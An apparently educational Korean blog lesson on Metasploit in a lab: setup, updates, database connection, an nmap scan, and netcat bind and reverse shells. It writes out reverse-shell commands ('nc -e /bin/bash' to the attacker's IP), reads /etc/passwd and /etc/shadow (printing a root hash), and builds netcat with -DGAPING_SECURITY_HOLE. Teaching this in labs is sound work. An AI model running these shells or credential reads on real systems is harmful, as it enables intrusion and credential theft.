정보보안(구버전)/Metasploit 2016. 5. 31. 18:42

Metasploit - 01. 메타스플로잇 (metasploit)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, CentOS, Window2008, WindowXP

 

 

 - Metasploit : 공격코드, 페이로더, 인코더, 정찰도구, 보안 테스팅 등을 제공하는 취약점 진단 및 공격 툴(무료)

 - Kali Linux에는 기본적으로 설치되어 있음

 

 

1. 메타스플로잇(metasploit) 특징

 

 - 정보 수집, 공격(Exploit), 공격에 사용되는 Plugin(payload) 등으로 구성된 도구

 - 외부 모듈인 취약점 점검, 포트 스캐너 등의 사용이 가능하고, DB 저장 가능

 - 정보 수집 및 공격 모듈 사용시 간편하게 진행 가능

 - msfconsole 내에서 외부 명령어 사용(리눅스 명령어) 가능

 - 리눅스에서 실행하는 공격 툴 관련 실행 내용들을 Metaploit에서 실행하여 결과를 저장할 수 있음

 

 

 

 

2. 메타스플로잇(metasploit) 용어

 

 - Exploit : 시스템, 애플리케이션, 서버등의 취약점을 악용하는 방법, SQL Injection, Buffer Overflow 등

 - Payload : 시스템에서 실행하고자 하는 코드로 프레임워크에 의해 전달 (Ex : 악성 코드)

 - Shell code : 공격 수행시 수행할때 Payload에 사용되는 명령 집합

 - Module : Metasploit framework에서 사용되는 소프트웨어의 부분

 

 

 

 

3. 메타스플로잇(metasploit) 시작하는 방법

 

@ Kali Linux

 

 - 'msfconsole' 명령어를 이용하여 시작하며, 시작시 배너는 항상 다르게 나옴 ('banner' 명령어 이용해서 확인 가능)

 

root@kali:~# msfconsole 
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

 

         =[ metasploit v4.11.4-2015071403                  ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops           ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

msf >
msf > exit
root@kali:~#

 


 

 

4. 메타스플로잇(metasploit) 업데이트

 

 - 본 게시판에 있는 예제를 다 하고 나서 실시하도록 한다. (이유 : 업데이트하면 3~4개 정도 실습 못함)

 

root@kali:~# lsb_release -a

No LSB modules are available.

Distributor ID:    Kali

Description:       Kali GNU/Linux 2.0

Release:            2.0

Codename:        sana

 

 

root@kali:~# msfconsole -v

Framework Version: 4.11.4-2015071403

 

 

 - 미러 사이트 확인

 

root@kali:~# curl -sI http://http.kali.org/README
HTTP/1.1 302 Found
Date: Wed, 01 Jun 2016 02:02:47 GMT
Server: Apache/2.4.10 (Debian)
X-MirrorBrain-Mirror: kali.mirror.garr.it
X-MirrorBrain-Realm: other
Link: <http://http.kali.org/README.meta4>; rel=describedby; type="application/metalink4+xml"
Link: <http://kali.mirror.garr.it/mirrors/kali/README>; rel=duplicate; pri=1; geo=it
Link: <http://archive-3.kali.org/kali/README>; rel=duplicate; pri=2; geo=de
Link: <http://ftp.halifax.rwth-aachen.de/kali/README>; rel=duplicate; pri=3; geo=de
Link: <http://ftp.belnet.be/kali/kali/README>; rel=duplicate; pri=4; geo=be
Link: <http://ftp2.nluug.nl/os/Linux/distr/kali/README>; rel=duplicate; pri=5; geo=nl
Location: http://kali.mirror.garr.it/mirrors/kali/README
Content-Type: text/html; charset=iso-8859-1

 

 

 - 미러 사이트 APT Repositiry 목록 추가 (밑에 [참고] Kali Repository 수정 참조)

 

root@kali:~# vi /etc/apt/sources.list

#

# deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free

 

#deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free

 

deb http://http.kali.org/kali sana main non-free contrib
deb-src http://http.kali.org/kali sana main non-free contrib

 

deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free

 

deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free

 

deb http://kali.mirror.garr.it/mirrors/kali sana main non-free contrib
deb-src http://kali.mirror.garr.it/mirrors/kali sana main non-free contrib

 

: wq!

 

 

 - Kali Linux 업데이트 실시

 

root@kali:~# apt-get update

root@kali:~# apt-get upgrade

root@kali:~# apt-get dist-upgrade

 

 

 - 메타스플로잇(metasploit) 업데이트 실시

 

root@kali:~# msfupdate

 

 

 - 재부팅 실시

 

root@kali:~# reboot

 

 

 - 버전 확인

 

root@kali:~# msfconsole -v

Framework Version: 4.13.2-dev 


 

 

 

 

[참고] Kali Repository 수정

 

https://www.blackmoreops.com/2015/08/13/how-to-add-official-kali-linux-repositories/

 

 - Kali Rolling 버전

 

root@kali:~# vi /etc/apt/sources.list

 

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

 


 - Kali Sana(Kali 2.0) 버전

 

@Kali Sana(Kali 2.0) 버전.txt

 

 

root@kali:~# vi /etc/apt/sources.list

 

deb http://old.kali.org/kali sana main non-free contrib
deb-src http://old.kali.org/kali sana main non-free contrib

 

deb http://ch.archive.ubuntu.com/ubuntu/ saucy main restricted
deb-src http://ch.archive.ubuntu.com/ubuntu/ saucy main restricted

 

deb http://httpredir.debian.org/debian jessie main
deb-src http://httpredir.debian.org/debian jessie main

 

 

5. Postgres DB 연결

 

 - 메타스플로잇을 Postgres DB에 연결하면, 사용한 공격 모듈 정보가 남아 있기 때문에 다음에 사용할때 빠르다.

 

root@kali:~# service postgresql start
root@kali:~# update-rc.d postgresql enable

 

 

root@kali:~# msfdb

 

Manage a metasploit framework database

 

  msfdb init    # initialize the database
  msfdb reinit  # delete and reinitialize the database
  msfdb delete  # delete database and stop using it
  msfdb start   # start the database
  msfdb stop    # stop the database

 

 

root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema

 

 

root@kali:~# msfconsole

 

msf > db_status
[*] postgresql connected to msf
msf >

 

 

 - DB에 정보가 기록되는지 확인

 

msf > db_nmap -sS -A -p 80 192.168.20.200
[*] Nmap: Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-06-01 15:46 KST
[*] Nmap: Nmap scan report for 192.168.20.200
[*] Nmap: Host is up (0.00048s latency).
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 80/tcp open  http    Apache httpd 2.2.3 ((CentOS))
[*] Nmap: | http-methods: Potentially risky methods: TRACE
[*] Nmap: |_See http://nmap.org/nsedoc/scripts/http-methods.html
[*] Nmap: |_http-server-header: Apache/2.2.3 (CentOS)
[*] Nmap: |_http-title: Apache HTTP Server Test Page powered by CentOS
[*] Nmap: MAC Address: 00:0C:29:72:28:7C (VMware)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.18 - 2.6.32
[*] Nmap: Network Distance: 1 hop
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.48 ms 192.168.20.200
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 15.37 seconds
msf >

 

 

msf> hosts

msf> services

 

msf > quit

 

 

 

6. Bind_TCP & Reverse_TCP 차이점

 

 - nc : netcat

 - 옵션 : -n(IP 주소/포트 번호를 번호로 사용), -v(상세 정보), -u(UDP 연결), -p(포트 번호 지정), -l(Listen 상태)

 

 

Ex1) Bind_TCP (공격자가 타겟에 연결되는 방식)

 

 - 공격자 : Kali Linux(192.168.20.50)

 - 타겟 : CentOS(192.168.20.200)

 

 

 - 타켓에서 Listen 상태 실시

 

[root@CentOS /root]# cd /root/nc

[root@CentOS /root/nc]# ./nc -e /bin/bash -l -p 4444

 

 

 - 칼리에서 타켓 접속 실시 및 Bind_TCP 연결 확인


root@kali:~# nc 192.168.20.200 4444

 

whoami
root

 

pwd
/root/nc

 

uname -a
Linux CentOS 2.6.18-371.el5 #1 SMP Tue Oct 1 08:35:08 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux

 

ls
Changelog
Makefile
README
data
generic.h
nc
nc110.tgz
netcat.blurb
netcat.c
scripts
stupidh

(Ctrl+C)


root@kali:~#

 

 - 타겟에서 nc 중지 실시


[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444

 

 

 


Ex2) Reverse_TCP (타겟이 공격자에 연결되는 방식)

 

 - 칼리에서 Listen 상태 실시

 

root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...

 

 

 - 타겟에서 칼리 접속 실시


[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444

 

 

 - 칼리에서 타켓 접속 실시 및 Reverse_TCP 연결 확인


root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 46011

 

whoami
root

 

pwd
/root/nc

 

python -c 'import pty;pty.spawn("/bin/bash")' 
[root@CentOS /root/nc]#

[root@CentOS /root/nc]# whoami
whoami
root
[root@CentOS /root/nc]#

[root@CentOS /root/nc]# pwd
pwd
/root/nc
[root@CentOS /root/nc]#

[root@CentOS /root/nc]# cat /etc/passwd

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
~ 중간 생략 ~

 

[root@CentOS /root/nc]# cat /etc/shadow
cat /etc/shadow
root:$1$CLSZbr8E$wxcwfoLxyNAmFtndBL1CL0:17129:0:99999:7:::
bin:*:16780:0:99999:7:::

~ 중간 생략 ~


(Ctrl+c)

root@kali:~#

 

 

 - 타겟에서 nc 중지 실시


[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444

(Ctrl+c)
 

 

 

 

[참고] CentOS에 -'e' 옵션을 위한 netcat 설치 및 내용 변경

 

 - CentOS에서 'packetstormsecurity.com'으로 접속한 이후, 'nc110'을 검색하여 다운로드를 실시한다.

 - 다운로드 받은 'nc110.tgz'를 nc라는 디렉토리를 생성하여 복사한다.

 - nc 디렉토리에 복사한 'nc110.tgz'를 'tar xzf nc110.tgz'를 실시하여 압축을 해지한다.

 - 'vi netcat.c'를 실시하여 다음과 같은 내용을 추가 및 주석처리한다.

 

[root@CentOS /root]# mkdir nc
[root@CentOS /root]# cp nc110.tgz nc
[root@CentOS /root]#
[root@CentOS /root]# cd nc
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# tar xzf nc110.tgz
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# ls
Changelog  README  generic.h  netcat.blurb  scripts
Makefile   data    nc110.tgz  netcat.c      stupidh

 

[root@CentOS /root/nc]# vi netcat.C

~ 중간 생략 ~

 

*/

#include <unistd.h>   <- 추가

#include "generic.h"            /* same as with L5, skey, etc */

 

 ~ 중간 생략 ~

 

#ifdef HAVE_BIND
/* can *you* say "cc -yaddayadda netcat.c -lresolv -l44bsd" on SunLOSs? */
  //res_init();   <- 주석 처리 

#endif

:wq!

 

 

@gcc.txt


[root@CentOS /root/nc]# gcc -DGAPING_SECURITY_HOLE -o nc netcat.c

 

 

 

7. Shell Code

 

 - 쉘을 얻기위해서 제작된 소스 코드이다. 각각의 운영체제에 대한 쉘 코드는 구글 검색을 통해서 획득이 가능하다.

 - Kali-64bit 쉘 코드를 작성해서 테스트하도록 한다.

 

 

 

 

 

 

 

 

 

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


Metasploit - 제1장 메타스플로잇 (metaspliot)   https://youtu.be/BJCaJppJ5yk

 

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q